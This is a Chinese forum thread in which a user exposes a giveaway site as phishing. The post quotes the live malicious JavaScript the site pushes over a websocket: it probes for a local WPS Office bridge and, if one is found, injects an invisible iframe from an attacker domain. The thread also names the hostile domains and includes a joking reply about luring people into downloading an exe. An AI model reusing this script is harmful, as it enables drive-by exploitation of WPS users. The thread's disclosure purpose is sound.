本帖最后由 Typeboom 于 2025-7-17 16:12 编辑
这站是钓鱼的
里面会加载这个JS
https://apis.fjersihjktsvhiiuirahts.online/RXGNHYJP.js
创建socket.io链接，通过websocket下发恶意js
42["execute",{"func":"var attack = function(params){\n params.time = new Date();\n let _result_ = (function(){ var result = [];\n\nfunction makeRequest() {\n var m = Date.now();\n var script = document.createElement('script');\n script.src = 'https://localhost.wbridge.wps.cn:4709/';\n script.onload = function() {\n var currentTime = Date.now();\n var elapsedTime = currentTime - m;\n result.push(elapsedTime);\n if (result.length === 5) {\n calculateAverage();\n } else {\n makeRequest();\n }\n };\n script.onerror = function() {\n var currentTime = Date.now();\n var elapsedTime = currentTime - m;\n result.push(elapsedTime);\n if (result.length === 5) {\n calculateAverage();\n } else {\n makeRequest();\n }\n };\n document.body.appendChild(script);\n}\n\nfunction calculateAverage() {\n var sum = result.reduce(function(a, b) {\n return a + b;\n }, 0);\n var w_key = sum / result.length;\n if (w_key < 300) {\n var iframe = document.createElement(\"iframe\");\n iframe.src = \"https://www.onlineksyun.com/ifs.html\";\n iframe.frameborder = \"no\";\n iframe.style.zIndex = -1000;\n iframe.style.position = \"absolute\";\n iframe.style.opacity = 0;\n iframe.style.top = \"0px\";\n iframe.style.left = \"0px\";\n iframe.width = \"300px\";\n iframe.height = \"2000px\";\n iframe.onload = function() {\n console.log(\"iframe loaded\");\n };\n document.body.appendChild(iframe);\n }\n}\n\nmakeRequest(); })()\n try{\n socket.emit(\"result\", {\n success: true,\n message: \"Successfully executed custom command at \" + new Date() + (_result_ ? \"\\nReturned Value: \" + _result_ : ''),\n params\n });\n }catch(e){\n socket.emit(\"result\", {\n success: false,\n message: e.toString(),\n params\n });\n }\n }","params":{"victim":5802,"_attack_instance_id":"5L_tTV5sJYmdyLVdAEXf_1752739731190"}}]
42["result",{"success":true,"message":"Successfully executed custom command at Thu Jul 17 2025 08:08:51 GMT+0000 (Coordinated Universal Time)","params":{"victim":5802,"_attack_instance_id":"5L_tTV5sJYmdyLVdAEXf_1752739731190","time":"2025-07-17T08:08:51.636Z"}}]
尝试连接到
https://localhost.wbridge.wps.cn:4709/
应该是利用WPS的漏洞，下次记得改成让MJJ下exe，还方便点:lol
领了一个，多谢
有效期是多长？
本帖最后由 Typeboom 于 2025-7-17 16:13 编辑
https://ana.imgcloud.uk/?url=https://i.imgur.com/EKp5pLq.png
钓鱼站能不能走点心:lol
Typeboom 发表于 2025-7-17 16:09
这站是钓鱼的
里面会加载这个JS
然后呢？钓鱼站没完善是么？
还有个域名是：onlineksyun.com
有点儿意思 发表于 2025-7-17 16:21
然后呢？钓鱼站没完善是么？
你安个WPS就知道会发生什么了:lol
不好意思，叼windows的鱼，关我mac什么事
这不封号？
